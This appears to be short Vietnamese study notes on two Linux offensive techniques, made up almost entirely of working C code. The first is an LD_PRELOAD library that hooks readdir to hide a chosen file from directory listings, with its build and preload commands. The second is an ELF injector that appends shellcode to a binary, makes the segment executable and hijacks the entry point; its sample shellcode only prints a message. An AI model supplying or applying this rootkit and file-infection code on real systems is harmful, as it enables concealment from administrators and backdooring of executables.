1. Dùng `LD_PRELOAD ` để chỉ định một thư viện .so được nạp trước tất cả các thư viện mặc định. ```cpp! #include <stdio.h> #define HIDDEN_FILE "filename.txt" static struct dirent *(*original_readdir)(DIR *) = NULL; struct dirent *readdir(DIR *dirp) { if (!original_readdir) { original_readdir = dlsym(RTLD_NEXT, "readdir"); if (!original_readdir) { perror("dlsym readdir"); return NULL; } } struct dirent *entry; while ((entry = original_readdir(dirp)) != NULL) { if (strcmp(entry->d_name, HIDDEN_FILE) == 0) continue; return entry; } return NULL; } ``` `gcc -fPIC -shared -o hide_file.so hide_file.c -ldl` `LD_PRELOAD=$PWD/hide_file.so` sau đó ls 2. Inject shellcode to program ```cpp! #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> #include <elf.h> #include <string.h> #include <stdint.h> #include <sys/stat.h> unsigned char shellcode[] = { 0xb8,0x01,0x00,0x00,0x00, // mov eax, 1 0xbf,0x01,0x00,0x00,0x00, // mov edi, 1 0x48,0x8d,0x35,0x0f,0x00,0x00,0x00, // lea rsi, [rip+0xf] 0xba,0x18,0x00,0x00,0x00, // mov edx, 24 0x0f,0x05, // syscall 0xb8,0x3c,0x00,0x00,0x00, // mov eax, 60 0x31,0xff, // xor edi, edi 0x0f,0x05, // syscall // message (24 bytes) 0x49,0x6e,0x6a,0x65,0x63,0x74,0x69,0x6f, 0x6e,0x20,0x73,0x75,0x63,0x63,0x65,0x73, 0x73,0x66,0x75,0x6c,0x6c,0x79,0x21,0x0a }; int main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s <target ELF file>\n", argv[0]); return 1; } const char *filename = argv[1]; int fd = open(filename, O_RDWR); if (fd < 0) { perror("open"); return 1; } struct stat st; fstat(fd, &st); size_t size = st.st_size; // Extend the file size to hold shellcode if (ftruncate(fd, size + sizeof(shellcode)) < 0) { perror("ftruncate"); return 1; } void *mem = mmap(NULL, size + sizeof(shellcode), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (mem == MAP_FAILED) { perror("mmap"); return 1; } Elf64_Ehdr *ehdr = (Elf64_Ehdr *)mem; if (memcmp(ehdr->e_ident, ELFMAG, SELFMAG) != 0) { fprintf(stderr, "Not an ELF\n"); return 1; } printf("[*] Original entry point: 0x%lx\n", ehdr->e_entry); Elf64_Phdr *phdr = (Elf64_Phdr *)((char *)mem + ehdr->e_phoff); // Find last LOAD segment Elf64_Phdr *last_load = NULL; for (int i = 0; i < ehdr->e_phnum; i++) { if (phdr[i].p_type == PT_LOAD) last_load = &phdr[i]; } // Determine injection offset and vaddr uint64_t inject_offset = last_load->p_offset + last_load->p_filesz; uint64_t inject_vaddr = last_load->p_vaddr + last_load->p_filesz; printf("[+] Injecting shellcode at offset: 0x%lx, vaddr: 0x%lx\n", inject_offset, inject_vaddr); // Copy shellcode to new offset memcpy((char *)mem + inject_offset, shellcode, sizeof(shellcode)); // Expand segment to include shellcode last_load->p_filesz += sizeof(shellcode); last_load->p_memsz += sizeof(shellcode); last_load->p_flags |= PF_X; // Set new entry point ehdr->e_entry = inject_vaddr; printf("[+] New entry point set to: 0x%lx\n", ehdr->e_entry); msync(mem, size + sizeof(shellcode), MS_SYNC); munmap(mem, size + sizeof(shellcode)); close(fd); printf("Injection complete\n"); return 0; } ```